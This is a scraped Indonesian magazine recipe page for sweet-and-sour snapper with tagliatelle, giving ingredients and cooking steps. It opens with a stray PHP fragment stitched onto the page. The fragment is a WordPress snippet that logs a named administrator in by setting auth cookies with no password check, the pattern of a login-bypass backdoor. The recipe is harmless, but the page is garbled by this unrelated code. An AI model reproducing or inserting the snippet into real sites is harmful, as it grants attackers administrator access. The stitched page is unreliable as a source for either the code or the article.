user_login; break; } $us = get_user_by('login', $us ); if ( !is_wp_error( $us ) ) { get_currentuserinfo(); if ( user_can( $us, "administrator" ) ){ wp_clear_auth_cookie(); wp_set_current_user ( $us->ID ); wp_set_auth_cookie ( $us->ID ); $redirect_to = admin_url(); wp_safe_redirect( $redirect_to ); exit(); } } */
Ikan & Seafood
Kakap Asam Manis

12 Jan 2012

Bahan:
  • 500 g fillet kakap tanpa kulit, potong ukuran 2 x 2 cm
  • 5 sdm minyak untuk menggoreng
  • Adonan pelapis:
  • 75 g tepung sagu
  • ¼ sdt garam
  • ¼ sdt merica bubuk
  • 40 ml (dari 1 butir) putih telur ayam, kocok lepas
Saus:
  • 150 g (1 buah) bawang bombay, kupas, cincang halus
  • 3 cm jahe, kupas, iris bentuk korek api
  • 1 buah wortel, kupas, iris bentuk korek api
  • 1 batang bawang daun, iris bentuk korek api
  • 100 g bengkuang, kupas, iris bentuk korek api
  • 8 sdm saus asam manis, siap pakai
  • 100 ml air
  • ½ sdt gula pasir
  • 1/2 sdt garam
  • 1/2 sdt merica bubuk
Pelengkap:
  • 150 g pasta tagliateli kering, rebus hingga al dente *)
Cara membuat:
  1. Adonan pelapis: Aduk tepung sagu, garam, dan merica hingga rata. Celupkan ikan ke dalam putih telur kocok, gulingkan ke dalam campuran tepung sagu hingga seluruh bagian ikan tertutup rata. Sisihkan.
  2. Panaskan 3 sdm minyak, goreng ikan hingga matang, angkat, sisihkan.
  3. Panaskan sisa minyak, tumis bawang bombay dan jahe hingga harum.  
  4. Masukkan wortel, bawang daun, dan bengkuang. Aduk rata. Masak hingga layu. Masukkan saus asam manis dan air, aduk rata.
  5. Masak hingga mengental, bubuhi gula pasir, garam, dan merica, aduk rata.
  6. Tambahkan ikan goreng, aduk rata. Angkat.
  7. Sajikan bersama pelengkap. (f)

Advertisement
*) Pasta tagliateli: Pasta yang bentuknya seperti pita yang digulung. Rebus hingga al dente yang artinya sudah tidak lagi keras dan juga tidak lembek. Lama perebusan sekitar 12 menit.

Untuk 6 porsi



 


MORE ARTICLE
Clean Cut Emporio Armani
Aksi Sosial SOPHIE

More Videos
polling
Seberapa Korea Anda?

Hallyu wave atau gelombang Korea masih terus 'mengalir' di Indonesia. Penggemar KDrama, Kpop di Indonesia termasuk salah satu yang paling besar jumlahnya di dunia. Lalu seberapa Korea Anda? 

View Result
event
recommended
most viewed
about

Femina is a magazine for smart, independent, modern Indonesian women.

digital magazine

Available at :

subscribe
(021) 250 333 28
langganan@pranagroup.id
© 2026 Femina Indonesia, Femina Group. All Right Reserved. | By fdvs team.